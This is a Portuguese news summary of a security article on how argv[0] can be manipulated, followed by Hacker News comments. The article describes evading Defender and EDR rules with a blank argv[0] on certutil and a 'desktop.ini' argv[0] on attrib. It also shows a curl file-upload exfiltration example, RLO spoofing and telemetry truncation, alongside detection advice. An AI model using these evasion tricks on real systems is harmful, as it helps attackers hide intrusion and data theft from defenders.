9 pontos por GN⁺ 2024-09-04 | 2 comentários | Compartilhar no WhatsApp
  • A linha de comando é estranha
  • O Windows é especialmente conhecido por esse tipo de problema, mas a forma como a maioria dos sistemas operacionais implementa a linha de comando pode causar problemas de segurança
  • Este texto explica os problemas da convenção que reserva o primeiro argumento da linha de comando de um processo, argv[0], para representar o nome do processo

argv[0] é um relicário do passado

  • Quando um programa é iniciado, ele recebe argumentos de linha de comando e pode acessá-los internamente; na prática, isso é uma das primeiras informações fornecidas quando o programa começa a rodar
    • É um dos principais mecanismos para alterar o fluxo de execução do programa
  • Se observarmos a família de chamadas de sistema exec adotada em POSIX e no DOS/Win32
    • int execv(const char *path, char *const argv[]);
    • Para chamar essa função execv, é necessário passar ao programa o caminho completo do aplicativo a ser executado em path e um vetor com os argumentos em argv; ela retorna um inteiro com o código de status
    • Segundo essa especificação, se o programa for executado com sucesso como resultado dessa chamada, o programa-alvo é invocado por meio de int main (int argc, char *argv[]);
  • Em todos os padrões C, argc não é negativo, argv[argc] é um ponteiro nulo e, se argc for maior que 0, então argv[0] representa o nome do programa chamado
  • Algumas pessoas podem questionar a necessidade de argv[0]
    • “O novo processo obviamente sabe seu próprio nome, então por que ele precisa ser passado como o primeiro argumento do processo chamador?”
    • Em ambientes POSIX, um programa pode ser chamado por meio de um link simbólico, então isso serve para ajudar o novo processo a saber qual solicitação recebeu
    • Por exemplo, no Debian, shutdown e reboot apontam para o mesmo executável systemctl e se comportam de forma diferente dependendo do comando usado para chamá-lo
  • Isso parece uma decisão de projeto questionável
    • “Um programa deveria realmente se comportar de forma diferente dependendo do próprio nome?”
    • Sob uma perspectiva moderna, isso parece reduzir a previsibilidade do software e ir contra princípios modernos de projeto
    • Sob a ótica das décadas de 1970 e 1980, quando os recursos computacionais eram escassos, isso pode ter sido uma tentativa de minimizar duplicação
    • Mas hoje espaço em disco não é um problema tão relevante. Por exemplo, no macOS Sonoma, shutdown e reboot existem como executáveis separados
    • Há debate sobre se realmente vale a pena unificar dois programas parecidos em um único arquivo ou se uma abordagem com argumentos de comando seria mais adequada
  • Mesmo aceitando esse princípio, a implementação em si também é discutível
    • É questionável que a informação de argv[0] deva ser fornecida como parte dos argumentos do processo
    • Programas que dependem de argv[0] podem falhar se o processo chamador não configurá-lo corretamente
    • Também existem programas que usam argv[0] de forma incorreta do ponto de vista de segurança
    • Uma abordagem melhor seria separar argv[0] em uma funcionalidade própria do task_struct ou do PEB, deixando o sistema operacional gerenciar esse valor
      • Isso permitiria rastreamento consistente e reduziria o espaço para manipulação
  • O sistema operacional que mais se aproxima disso é, surpreendentemente, o Windows
    • Diferentemente de outros sistemas operacionais populares, o Windows não define argv[0] ao criar um novo processo
    • As chamadas de API do Windows (CreateProcess, ShellExecute) definem argv[0] automaticamente com base no caminho do executável
    • Embora essa pareça a implementação mais sensata, o Windows também adota chamadas exec no estilo POSIX, então existe um jeito de definir argv[0] manualmente

argv[0] é ignorado (na maioria dos casos)

  • Independentemente da sua posição sobre a importância de argv[0], na prática ele é um conceito existente e vem acompanhado de problemas
  • Ao chamar exec, as duas primeiras das três condições mencionadas acima são tratadas pelo sistema operacional, mas a última, relacionada a argv[0], não é gerenciada
  • Como quem chama exec controla totalmente argv, esse requisito pode ser ignorado, e nem o sistema operacional nem o programa chamador/chamado verificam essa violação
  • Exemplo de ignorar argv[0]
    • Para imprimir Hello, world! usando echo, normalmente chamaríamos execv("/usr/bin/echo", ["echo", "Hello, world!"])
    • Mas mesmo se chamarmos execv("/usr/bin/echo", ["oopsie", "Hello, world!"]), o programa echo será executado normalmente e imprimirá Hello, world!
    • O programa echo funciona ignorando argv[0] e focando apenas nos argumentos a partir de argv[1]
    • A maioria dos programas adota uma abordagem parecida, ignorando argv[0]
  • Exemplo de manipulação de argv[0]
    • Várias linguagens de programação e script, incluindo C, oferecem meios de manipular argv[0]:
    python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])"  
    perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"'  
    ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')"  
    bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here'  
    
  • Manipular argv[0] é simples e, na maioria das execuções de programas, não afeta o funcionamento. Ainda assim, do ponto de vista de segurança, isso pode ser problemático

argv[0] pode derrubar mecanismos de defesa

  • argv[0] pode ser usado para enganar softwares de segurança. Quando um usuário malicioso compromete o sistema, ele manipula o sistema executando comandos do atacante
  • Softwares de defesa, como AV e EDR, monitoram a execução de processos e detectam ou bloqueiam comandos específicos quando os consideram nocivos. A maioria das soluções detecta ativamente comandos usados com frequência por atacantes
  • Exemplo: abuso do comando certutil
    • certutil, ferramenta de linha de comando embutida no Windows, é usada com frequência em ataques. Após obter acesso inicial, ela pode servir para baixar payloads externos.
    • O Microsoft Defender Antivirus bloqueia a execução de certutil quando há argumentos de linha de comando que indicam tentativa de download de arquivo. No entanto, se certutil for iniciado com argv[0] definido como espaço em branco, o Defender não bloqueia
    • Isso mostra um problema causado pelo fato de a detecção de segurança tratar o nome do programa como parte da linha de comando. Por exemplo, se a lógica de detecção for algo como command_line.contains('certutil') AND command_line.contains('-urlcache'), ela assume que certutil faz parte da linha de comando. Porém, manipulando argv[0], é possível contornar essa lógica
    • Uma lógica de detecção mais eficaz seria algo como process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')
  • Evasão de detecção por meio de argv[0]
    • A evasão também é possível adicionando palavras-chave de ajuste em argv[0]. Em geral, a detecção combina condições básicas com condições adicionais para filtrar falsos positivos
    • Por exemplo, pode existir uma regra que detecta quando attrib.exe oculta arquivos. Mas, na prática, esse comando é executado legitimamente com frequência sobre o arquivo desktop.ini
    • Sabendo disso, um atacante pode incluir desktop.ini em argv[0] para burlar a detecção. Por exemplo, argv = ['attrib_\desktop.ini', '+H', 'backdoor.exe']

Dá para enganar usando argv[0]

  • argv[0] pode ser abusado não só para enganar software de segurança, mas também pessoas
  • Analistas de segurança revisam alertas gerados por ferramentas como software EDR, e esses alertas incluem a linha de comando do processo envolvido
  • A linha de comando do processo é uma informação importante para o analista decidir se deve investigar mais a fundo ou ignorar o alerta
  • Exemplo: enganação na linha de comando
    • Um alerta de possível exfiltração de dados pode ser disparado ao executar o comando curl -T secret.txt 123.45.67.89. Esse comando envia o arquivo secret.txt para o endereço IP 123.45.67.89
    • No mesmo cenário, se argv[0] for alterado de curl para curl localhost | grep, isso ainda será um comando válido
    • Como softwares de segurança exibem o array da linha de comando como uma string separada por espaços, nesse caso é bem provável que o comando apareça como curl localhost | grep -T secret.txt 123.45.67.89
    • Do ponto de vista do analista, isso pode parecer que curl localhost foi executado e que o resultado foi enviado para grep -T secret.txt 123.45.67.89. Embora na realidade o comportamento seja um upload de informações para um endereço remoto, ele pode parecer um download a partir de um endereço local
  • Uso do caractere Right-To-Left Override (RLO)
    • É possível manipular argv[0] usando o famigerado caractere RLO (reordenação da direita para a esquerda)
    • Esse caractere Unicode instrui o aplicativo de renderização a exibir os caracteres seguintes em ordem inversa
    • Ao inserir um RLO em argv[0], é possível fazer ping moc.elgoog.some-evil-website.com parecer ping moc.etisbew-live-emos.google.com
    • Essa técnica não afeta a lógica de detecção, mas pode enganar o analista
  • Técnicas assim mostram diferentes maneiras de manipular argv[0] para esconder atividades maliciosas, enganando tanto software de segurança quanto o olhar humano

argv[0] pode comprometer a telemetria

  • Como argv[0] fica bem no início da linha de comando, preencher argv[0] com caracteres suficientes pode empurrar todos os outros argumentos para o fim da linha
  • Isso pode ser problemático por dois motivos: primeiro, porque partes interessantes podem ficar “escondidas” no final da linha de comando, desestimulando o analista a rolar a tela; e, mais importante, porque o comprimento total pode ficar grande o bastante para que o software de monitoramento corte justamente os argumentos relevantes
  • Limites de tamanho da linha de comando
    • Desde o Windows 7, o tamanho máximo da linha de comando no Windows é limitado a 14.336 caracteres (cerca de 14 KiB)
    • No kernel Linux, o limite máximo é codificado como 32 páginas de memória, o que em arquiteturas de 64 bits equivale a cerca de 131.072 caracteres (128 KiB)
    • O macOS Sonoma permite linhas de comando de até 1.048.576 caracteres (1 MiB)
    • Isso significa que existe muito espaço arbitrário que argv[0] pode ocupar
  • Casos de comprometimento da telemetria
    • Softwares de monitoramento de processos (como EDR) podem registrar integralmente execuções com linhas de comando longas ou truncá-las em um comprimento fixo para reduzir overhead
    • Se linhas de comando longas forem registradas por completo, iniciar 1.000 processos usando simplesmente o comprimento máximo da linha de comando pode gerar 1 GiB de dados de log
    • Se houver truncamento, os argumentos da linha de comando podem ser cortados na telemetria. Por exemplo, o comando perl -e 'exec {"echo"} "_"x50000, "Hello, world!"' imprime “Hello, world!”, mas a telemetria da execução pode registrar apenas sublinhados ou, em alguns casos, até uma linha de comando completamente vazia
    • Como os argumentos realmente importantes deixam de aparecer, a lógica de detecção e os analistas podem ficar sem entender o que de fato aconteceu

Os riscos de argv[0]: prevenção e detecção

  • argv[0] resolve um problema enquanto cria vários outros
  • É improvável que argv[0] desapareça tão cedo, então, do ponto de vista de segurança, o foco precisa ser em como lidar com isso
  • Medidas preventivas
    • Desenvolvedores podem comparar argv[0] com o próprio nome de arquivo para verificar manipulação, mas isso escala mal
    • O sistema operacional poderia fazer essa verificação de forma mais confiável. Depender de argv[0] para alterar o fluxo do programa é algo fortemente desaconselhável
    • O ideal é que desenvolvedores evitem interagir com argv[0] sempre que possível
  • Métodos de detecção para profissionais de segurança
    • Entender como argv[0] funciona e quais problemas ele traz é um passo importante para evitar enganações na linha de comando
    • Se o software de segurança fornecer os argumentos da linha de comando como array, certos padrões podem ser identificados de forma confiável
    • Valores excessivamente longos em argv[0] ou valores contendo caracteres suspeitos, como o caractere de pipe, devem ser marcados imediatamente como suspeitos
    • Mesmo quando os argumentos da linha de comando são fornecidos como string, é possível sinalizar linhas de comando que não incluam o nome do programa. Isso sugere que argv[0] foi manipulado
    • A simples presença de caracteres RLO já é, na maioria dos ambientes, um método de detecção altamente eficaz
    • No caso de argumentos truncados na linha de comando, é preciso entender como as soluções de segurança e os data lakes lidam com isso e qual impacto isso tem sobre a telemetria gerada
  • Melhorias no software de defesa
    • Softwares de defesa precisam melhorar a detecção de abuso de argv[0]. Deve ser possível bloquear a execução de software com valores suspeitos em argv[0] sem gerar falsos positivos
    • Plataformas EDR também deveriam considerar excluir argv[0] ao reportar os argumentos da linha de comando. Isso eliminaria a maioria dos problemas destacados neste texto e, na maior parte dos casos, o valor forense disso também é baixo
  • No fim das contas, ninguém quer dor de cabeça por causa de argv[0]. Nosso software também não

Resumo do GN⁺

  • argv[0] é um relicário do passado e entra em conflito com princípios modernos de projeto de software
  • A maioria dos programas ignora argv[0], mas isso ainda pode causar problemas de segurança
  • argv[0] pode enganar softwares de segurança e pessoas, além de comprometer a telemetria
  • Profissionais de segurança devem detectar abusos de argv[0], e softwares de defesa precisam lidar melhor com isso

2 comentários

 
scari 2024-09-05

Talvez por eu ser das antigas... não concordo muito com a posição do autor. O problema é o exec, mas parece que a culpa está recaindo sobre o argv[0].

 
GN⁺ 2024-09-04
Comentários do Hacker News
  • A oposição a ler argv[0] exige ignorância do autor ou uma necessidade de defesa muito forte

    • Fica a dúvida de como o busybox deveria funcionar em uma máquina com OpenWrt e um sistema de arquivos raiz de 16 MB
    • Vale considerar discussões sobre limitar o uso do valor de argv[0]
    • Um invasor ainda pode contornar as medidas de segurança
  • argv[0] é usado como alvo de links simbólicos para centenas de comandos

    • O Android usa isso para a maioria dos comandos de shell comuns
    • Toybox e busybox são exemplos disso
  • Ferramentas que usam argv[0] podem executar comandos do host de dentro de um contêiner

    • Ex.: é possível configurar o comando flatpak para ser executado no host
  • Não há problema em um programa se comportar de forma diferente dependendo do nome

    • Incluir o nome do programa nos argumentos de chamada é muito útil
  • A oposição a argv[0] alega que isso vai contra princípios modernos de design

    • Quando há um symlink, é razoável que o programa saiba como foi chamado
    • O Python usa argv[0] para verificar se está dentro de um virtualenv e ajustar o caminho de busca
  • argv[0] não é especialmente ruim do ponto de vista de segurança

    • É melhor corrigir o software de segurança para que faça citação adequada dos valores de argv
  • argv[0] não tem problema

    • A maioria das pessoas usa argv[0] para diferenciar versões de comandos
  • O busybox usa argv[0] no modo "shim"

    • Em questões de segurança, é mais importante usar mecanismos mais profundos, como o SELinux
  • O macOS configura vários comandos para apontarem para um único executável

    • Usa argv[0] para melhorar a usabilidade da CLI e reduzir duplicação de código
  • Remover argv[0] faria perder funcionalidades úteis

    • A segurança de rede deve ser tratada na rede
    • Mesmo removendo argv[0], invasores encontrariam outros caminhos